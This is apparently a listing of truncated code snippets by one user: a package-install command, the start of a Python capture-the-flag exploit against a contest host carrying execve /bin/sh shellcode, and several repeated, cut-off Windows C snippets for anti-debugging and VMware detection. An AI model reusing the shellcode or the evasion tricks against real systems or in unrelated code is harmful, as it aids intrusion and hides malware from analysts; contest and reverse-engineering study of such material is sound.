evernick

dpkg --add-architecture i386
apt-get update
apt-get install ia32-libs

evernick

from zio import *
import base64
import binascii

def exp():
    io = zio(('library.polictf.it', 80))
    #io = zio('./johns-library')

    shellcode = "\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

evernick

#include <windows.h>
#include <excpt.h>
#include <stdio.h>

BOOL anti_debug_flag = TRUE;

void anti_debug()
{
	__try
	{

evernick

#include <windows.h>
#include <excpt.h>
#include <stdio.h>

BOOL anti_debug_flag = TRUE;

void anti_debug()
{
	__try
	{

evernick

#include <windows.h>
#include <excpt.h>
#include <stdio.h>

LONG WINAPI UnhandledExcepFilter(PEXCEPTION_POINTERS pExcepPointers)
{
    SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)
          pExcepPointers->ContextRecord->Eax);

    pExcepPointers->ContextRecord->Eip += 2;

evernick

#include <windows.h>
#include <excpt.h>
#include <stdio.h>

BOOL anti_debug_flag = TRUE;

void anti_debug()
{
	__try
	{

evernick

#include <windows.h>
#include <excpt.h>
#include <stdio.h>

BOOL anti_debug_flag = FALSE;

EXCEPTION_DISPOSITION __cdecl _except_handler (
    __in struct _EXCEPTION_RECORD 	* _ExceptionRecord,
    __in void 					* _EstablisherFrame,
    __inout struct _CONTEXT 			* _ContextRecord,

evernick

#include <windows.h>
#include <stdio.h>

BOOL anti_debug()
{
	BOOL result = FALSE;

	CONTEXT ct;
	ct.ContextFlags = CONTEXT_DEBUG_REGISTERS;

evernick

#include <stdio.h>
#include <windows.h>

int anti_debug(){
	int rc=0;
	__try
    {
	__asm
        {
            mov    eax, 'VMXh'

evernick

#include <stdio.h>
#include <io.h>

int anti_debug()
{
    char strPath[] = { "C:\\Windows\\system32\\drivers\\vmmouse.sys" };
     
    if( !access( strPath, 0) )
		return 1;
    return 0;